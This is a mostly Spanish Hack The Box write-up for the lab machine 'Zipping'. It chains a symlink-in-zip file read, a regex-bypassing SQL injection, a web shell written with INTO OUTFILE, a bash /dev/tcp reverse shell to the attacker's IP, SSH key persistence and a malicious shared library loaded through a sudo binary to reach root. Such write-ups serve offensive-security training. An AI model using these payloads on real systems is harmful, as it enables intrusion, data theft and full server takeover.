Hack The Box: Zipping Writeup | Medium

Table of Contents

Hack The Box: Zipping Writeup

Welcome to my detailed writeup of the medium difficulty machine “Zipping” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.229.87 --ulimit 5000 -g 
210.129.229.87 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.229.87 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 22:05 CEST
 3Nmap scan report for 10.129.229.87
 4Host is up (0.037s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
10|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
1180/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
12|_http-title: Zipping | Watch store
13|_http-server-header: Apache/2.4.54 (Ubuntu)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.229.87 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 22:06 CEST
 3Nmap scan report for 10.129.229.87
 4Host is up (0.037s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 767/udp    closed dhcps
 85002/udp  closed rfe
 924606/udp closed unknown
1027482/udp closed unknown
1128609/udp closed unknown
1230909/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

El único punto de ataque por ahora es el puerto 80/TCP .

HTTP Enumeration

1$ whatweb http://10.129.229.87
2http://10.129.229.87 [200 OK] Apache[2.4.54], Bootstrap, Country[RESERVED][ZZ], Email[info@website.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.54 (Ubuntu)], IP[10.129.229.87], JQuery

Encontramos unos nombre de usuarios. Write-up Image

Encontramos una funcionalidad/upload.php

Dice que solo acepta un archivo zip y dentro debe de haber un archivo pdf que contenga un curriculum. Viendo que la máquina se llama Zipping, supongo que los tiros deben de ir por aquí. Write-up Image

Probando la funcionalidad, subí un archivo .zip con un archivo .txt dentro y parece que comprueba que sea un archivo pdf. Write-up Image

Si subimos un archivo con el formato que se nos pide, vemos que nos devuelve una ruta.

Write-up Image

Y podemos ver el archivo PDF. Write-up Image

LFI 1

Después de intentar burlar la subida del archivo, me encontré con este video.

Donde podemos conseguir un LFI a través de enlaces simbólicos.

Vamos a crear una prueba de concepto, haciendo un enlace simbólico llamado test.pdf al /etc/passwd

1$ ln -s /etc/passwd test.pdf
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/zipping/content]
3└──╼ [★]$ ls
4test.pdf

Ahora creamos el archivo .zip

1[★]$ zip -r --symlink test.zip *
2  adding: test.pdf (deflated 65%)

Y ahora solicitando este archivo por curl…

 1 curl http://10.129.229.87/uploads/e8e7b570702ae4e2572f607419225362/test.pdf
 2root:x:0:0:root:/root:/bin/bash
 3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 4bin:x:2:2:bin:/bin:/usr/sbin/nologin
 5sys:x:3:3:sys:/dev:/usr/sbin/nologin
 6sync:x:4:65534:sync:/bin:/bin/sync
 7games:x:5:60:games:/usr/games:/usr/sbin/nologin
 8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
18nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
20systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
21systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
23systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
24pollinate:x:105:1::/var/cache/pollinate:/bin/false
25sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
26rektsu:x:1001:1001::/home/rektsu:/bin/bash
27mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
28_laurel:x:999:999::/var/log/laurel:/bin/false

¡Eso fue fácil!

Ahora vamos como nos podemos aprovechar de este LFI, pero antes voy a scriptear esto ya que si no voy a tardar mucho en solicitar el archivo, ya que para cada uno tendría que crear el enlace simbólico, el zip y subirlo…

Este es el script

 1import os
 2import requests
 3import signal
 4import re
 5from bs4 import BeautifulSoup
 6
 7BASE_URL = "http://10.129.229.87"
 8
 9def def_handler(x,y):
10    print("\n[i] Saliendo...")
11    exit(1)
12
13signal.signal(signal.SIGINT, def_handler)
14
15def create_symbolic_link(file):
16    os.system(f"ln -s {file} pwn.pdf")
17    return "pwn.pdf"
18
19def create_zip_file(link_path):
20    os.system(f"zip -r --symlink pwn.zip {link_path} >> /dev/null")
21    return "pwn.zip"
22
23def upload_file(zip_path):
24    r = requests.Session()
25    files = {'zipFile': ('pwn.zip', open(zip_path,'rb').read())}
26    data = {'submit': ''}
27    res = r.post('%s/upload.php' % BASE_URL, files=files,data=data)
28
29    soup = BeautifulSoup(res.text, 'html.parser')
30    links = soup.find_all('a')
31    href_values = [link.get('href') for link in links]
32
33    pattern = re.compile(r'^uploads/[0-9a-f]{32}/pwn\.pdf$')
34    filtered_hrefs = [link.get('href') for link in links if pattern.match(link.get('href'))]
35    upload_url = filtered_hrefs[0]
36    return upload_url    
37
38
39def read_file(upload_path):
40    res = requests.get(BASE_URL+ "/" + upload_path)
41    print(res.text)
42    pass
43         
44def lfi(file):
45    link_path = create_symbolic_link(file)
46    zip_path = create_zip_file(link_path)
47    upload_url = upload_file(zip_path)
48    # Borrando los archivos para poder solicitar el siguiente
49    os.system("rm pwn.zip pwn.pdf")
50    read_file(upload_url)
51    
52if __name__ == "__main__":
53    while True:
54        file = input("> ")
55        lfi(file)

En el archivo /var/www/html/shop/product.php Vemos lo siguiente

1if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
2        header('Location: index.php');
3    } else {
4        // Prepare statement and execute, but does not prevent SQL injection
5        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
6        $stmt->execute();

Si cargamos el archivo /var/www/html/shop/functions.php Vemos lo siguiente

	$DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';

SQL Injection -> Bypassing preg_match()

Por ahora no nos sirve de nada, lo único que sabemos gracias a la credencial que por detrás la base de datos es MySQL, MariaDB, o variados.

Antes, paralelamente estaba ejecutando un sqlmap para ver si este campo era vulnerable a SQL pero no encontró nada. Ahora sabiendo como funciona por detrás y viendo la expresión regular que emplea, podemos intentar bypassearla. https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#preg_match

No lo había incluido, pero había un apartado en el sitio web donde vi antes un parámetro id que me llamó la atención por un posible SQLi. Write-up Image

Si intentamos hacer una inyección SQL normal nos redirecciona al index.php http://10.129.229.87/shop/index.php?page=product&id=2 or 1=1-- -

Si probamos el payload %0A100'+or+'1'='1 vemos el primer reloj (id 1), esto significa que se está aconteciendo una SQLi. Write-up Image

Existen 8 columnas por detrás. Write-up Image

Podemos ver también la versión de base de datos. Write-up Image

También podemos comprobar el usuario. Write-up Image

Podemos ver donde se almacenan los privilegios del usuario en MariaDB. https://mariadb.com/kb/en/information-schema-user_privileges-table/

Se almacena en information-schema.user_privileges

Foothold

Este es el payload para filtar por los permisos de nuestro usuario root@localhost %0A100%27+union+select+1,group_concat(grantee,privilege_type),3,4,5,6,7,8+from+information_schema.user_privileges+where+grantee+like+%27%root%%27+--+-1 Write-up Image

Cuidado, tenemos permiso para poder crear archivos, lo podríamos utilizar para crear una Web Shell y a través del LFI explotarla, aun que probablemente no pueda explotar la Web Shell debido a que no se interpretará el PHP en el PDF… Write-up Image Viendo la documentación de MariaDB https://mariadb.com/kb/en/select-into-outfile/

Podríamos crear un archivo haciendo un SELECT "LOQUESEA" INTO OUTFILE pointed.php

Preparamos el payload, y ahora solo falta crear el archivo.. Write-up Image

http://10.129.229.87/shop/index.php?page=product&id=%0A100%27+union+select+1,%22%3C?php%20echo%20shell_exec($_GET[%27cmd%27]);%20?%3E%22,3,4,5,6,7,8+into+outfile+"/var/www/html/pointed.php"--+-1

No tenemos permisos para crear archivos en la aplicación web. Esperable.

Revisando el archivo /var/www/html/shop/index.php vemos que es vulnerable a un LFI y además se concatena la extensión .php al final, y como lo que queremos es cargar un archivo PHP, nos viene al pelo.

 1<?php
 2session_start();
 3// Include functions and connect to the database using PDO MySQL
 4include 'functions.php';
 5$pdo = pdo_connect_mysql();
 6// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
 7$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
 8// Include and show the requested page
 9include $page . '.php';
10?>

Podemos probar a crearlo en /tmp/pointed.php http://10.129.229.87/shop/index.php?page=product&id=%0A100%27+union+select+1,%22%3C?php%20echo%20shell_exec($_GET[%27cmd%27]);%20?%3E%22,3,4,5,6,7,8+into+outfile+%22/tmp/pointed.php%22--+-1

Por alguna razón a /tmp/pointed.php no puedo subir el archivo. Write-up Image

Pero si probamos a subirlo a http://10.129.229.87/shop/index.php?page=product&id=%0A100%27+union+select+1,%22%3C?php%20echo%20shell_exec($_GET[%27cmd%27]);%20?%3E%22,3,4,5,6,7,8+into+outfile+%22/dev/shm/pointed.php%22--+-1

¡Conseguimos al fin una Web Shell! Write-up Image

Si nos ponemos en escucha con netcat

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...

Podemos tratar de mandarnos una Reverse Shell

http://10.129.229.87/shop/index.php?page=/dev/shm/pointed&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.80/443%200%3E%261%22
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.229.87] 39240
4bash: cannot set terminal process group (1098): Inappropriate ioctl for device
5bash: no job control in this shell
6rektsu@zipping:/var/www/html/shop$

Podemos ver la flag de usuario.

1rektsu@zipping:/home/rektsu$ cat user.txt
2cat user.txt
38de5cae4a28aeac59....

Privilege Escalation

Enumerando la máquina, vemos que podemos ejecutar como el usuario que queramos el binario stock

1rektsu@zipping:/$ sudo -l
2sudo -l
3Matching Defaults entries for rektsu on zipping:
4    env_reset, mail_badpass,
5    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6
7User rektsu may run the following commands on zipping:
8    (ALL) NOPASSWD: /usr/bin/stock

Me pide una password.

1rektsu@zipping:/$ sudo /usr/bin/stock test
2sudo /usr/bin/stock test
3
4Enter the password: Invalid password, please try again.

Ya que la shell no es muy estable, voy a establecer persistencia añadiendo mi clave pública al authorized_keys

1rektsu@zipping:/home/rektsu/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs/aNkke9LIHvwrIqFLiLavlSa5gVzvG6EibfhsRDbRY0DLzVMaWw2TmVJ/sjcWBg7DqGFJaJ70cqh7rCX9WYQnUTQUoo..." > authorized_keys
2<hQlNkARQb9XM8= pointedsec@parrot" > authorized_keys
 1$ ssh rektsu@10.129.252.223
 2Welcome to Ubuntu 22.10 (GNU/Linux 5.19.0-46-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/advantage
 7
 8This system has been minimized by removing packages and content that are
 9not required on a system that users do not log into.
10
11To restore this content, you can run the 'unminimize' command.
12Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
13
14Last login: Sat Aug  3 20:04:00 2024 from 10.10.14.80
15rektsu@zipping:~$

Reversing stock

Abriendo el binario en ghidra

Vemos la contraseña. Write-up Image

Si la contraseña es válida, vemos que con dlopen() se carga una librería compartida. Pero el nombre de esta está ofuscado. Write-up Image

Podemos hacer un script en Python para intentar obtener el valor.

 1def xor_decrypt(data, key):
 2    # Convertir los datos y la clave a bytes
 3    data_bytes = data.to_bytes(8, byteorder='little')
 4    key_bytes = key.to_bytes(8, byteorder='little')
 5    
 6    # Aplicar XOR
 7    decrypted_bytes = bytes([data_bytes[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(data_bytes))])
 8    
 9    return decrypted_bytes
10
11# Valores iniciales
12local_e8 = 0x2d17550c0c040967
13local_f0 = 0x657a69616b6148
14
15# Descifrar
16descifrado_bytes = xor_decrypt(local_e8, local_f0)
17
18# Imprimir los bytes y la cadena
19print(f"Descifrado (bytes): {descifrado_bytes.hex()}")
20print(f"Descifrado (string): {descifrado_bytes.decode('utf-8', errors='ignore')}")
21
22# Verificar si la longitud del resultado sugiere más datos
23if len(descifrado_bytes) < 8:
24    print("El valor descifrado parece ser incompleto.")

El valor está incompleto, pero bien, ya sabemos que la librería está en /home/r… y nuestro usuario se llama rektsu y es el único usuario que tiene un directorio personal en /home

Ahora solo falta saber cual es la localización de librería compartida que está utilizando para ver si podemos modificarla y escalar privilegios.

1$ python3 decrypt.py 
2Descifrado (bytes): 2f686f6d652f722d
3Descifrado (string): /home/r-

Mi reto era intentar descubrir donde estaba la librería de forma estática, pero con ltrace podemos descubrirlo muy fácilmente. Write-up Image

Creating Evil Shared Library

La librería compartida entonces es: /home/rektsu/.config/libcounter.so

Ahora solo falta explotarlo. Creamos un libcounter.c en /home/rektsu/.config/ Write-up Image

Ahora compilamos este archivo con gcc

1rektsu@zipping:~/.config$ gcc -shared -fPIC -nostartfiles -o libcounter.so libcounter.c 
2rektsu@zipping:~/.config$ ls -la
3total 28
4drwxrwxr-x 2 rektsu rektsu  4096 Aug  3 20:26 .
5drwxr-x--x 7 rektsu rektsu  4096 Aug  7  2023 ..
6-rw-rw-r-- 1 rektsu rektsu   116 Aug  3 20:26 libcounter.c
7-rwxrwxr-x 1 rektsu rektsu 14272 Aug  3 20:26 libcounter.so

Y ahora solo falta ejecutar el binario como sudo y poner la contraseña, si todo sale bien se debería de cargar nuestra librería compartida maliciosa y se debería de ejecutar una /bin/bash con máximos privilegios.

1rektsu@zipping:~/.config$ sudo stock
2Enter the password: St0ckM4nager
3root@zipping:/home/rektsu/.config# whoami
4root
5root@zipping:/home/rektsu/.config# id
6uid=0(root) gid=0(root) groups=0(root)
7root@zipping:/home/rektsu/.config#

Y ya podríamos leer la flag de super usuario.

 1root@zipping:~# cd /root
 2root@zipping:~# ls -la
 3total 44
 4drwx------  6 root root 4096 Aug  3 20:00 .
 5drwxr-xr-x 19 root root 4096 Oct 17  2023 ..
 6lrwxrwxrwx  1 root root    9 Jan 27  2023 .bash_history -> /dev/null
 7-rw-r--r--  1 root root 3106 Apr 28  2022 .bashrc
 8drwx------  3 root root 4096 Aug  7  2023 .cache
 9drwx------  3 root root 4096 Aug  7  2023 .launchpadlib
10drwxr-xr-x  3 root root 4096 Aug  7  2023 .local
11-rw-r--r--  1 root root  161 Apr 28  2022 .profile
12drwx------  2 root root 4096 Aug  7  2023 .ssh
13-rw-r--r--  1 root root   27 Aug  3 20:09 .stock.csv
14-rw-r--r--  1 root root  165 Aug  7  2023 .wget-hsts
15-rw-r-----  1 root root   33 Aug  3 20:00 root.txt
16root@zipping:~# cat root.txt
1765ea9aab4a320db....
18root@zipping:~# 

Happy Hacking! 🚀

#HackTheBox   #Zipping   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #LFI   #Abusing Symbolic Link   #Scripting   #Python Scripting   #Information Leakage   #SQL Injection   #Abusing FILE Privilege   #Reversing   #Abusing Shared Library